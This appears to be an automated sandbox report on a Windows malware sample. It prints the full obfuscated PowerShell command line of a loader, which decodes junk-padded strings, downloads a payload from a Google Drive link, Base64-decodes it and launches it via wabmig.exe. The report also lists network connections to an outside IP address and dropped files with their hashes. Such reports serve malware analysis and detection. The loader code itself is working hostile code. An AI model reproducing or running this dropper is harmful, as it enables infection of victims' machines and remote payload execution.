yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 225.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.179.250.142.in-addr.arpa | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/3704-0-0x00007FFD52E93000-0x00007FFD52E95000-memory.dmp
memory/3704-1-0x000001B52DA30000-0x000001B52DA52000-memory.dmp
memory/3704-2-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
memory/3704-8-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5os002ay.0ag.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3704-14-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
memory/3704-16-0x00007FFD52E93000-0x00007FFD52E95000-memory.dmp
memory/3704-17-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
memory/5064-18-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/5064-19-0x0000000005600000-0x0000000005C28000-memory.dmp
memory/5064-20-0x0000000005460000-0x0000000005482000-memory.dmp
memory/5064-22-0x0000000005C30000-0x0000000005C96000-memory.dmp
memory/5064-21-0x0000000005500000-0x0000000005566000-memory.dmp
memory/5064-32-0x0000000005D20000-0x0000000006074000-memory.dmp
memory/5064-33-0x0000000006340000-0x000000000635E000-memory.dmp
memory/5064-34-0x0000000006370000-0x00000000063BC000-memory.dmp
memory/3704-35-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
memory/5064-37-0x00000000068D0000-0x00000000068EA000-memory.dmp
memory/5064-36-0x0000000007BA0000-0x000000000821A000-memory.dmp
memory/5064-39-0x0000000007560000-0x0000000007582000-memory.dmp
memory/5064-38-0x00000000075D0000-0x0000000007666000-memory.dmp
C:\Users\Admin\AppData\Roaming\Fejres.Ind
| MD5 | 14838f971ce22130c51b9a7cc01b590a |
| SHA1 | e368099b26f7b1778b784f1057daee1ac1f0dcd8 |
| SHA256 | c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373 |
| SHA512 | 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026 |
memory/5064-40-0x00000000087D0000-0x0000000008D74000-memory.dmp
memory/5064-42-0x0000000008D80000-0x000000000BFD7000-memory.dmp
memory/3704-43-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
memory/3388-44-0x0000000001200000-0x0000000004457000-memory.dmp
memory/3388-58-0x0000000001200000-0x0000000004457000-memory.dmp
memory/3704-62-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |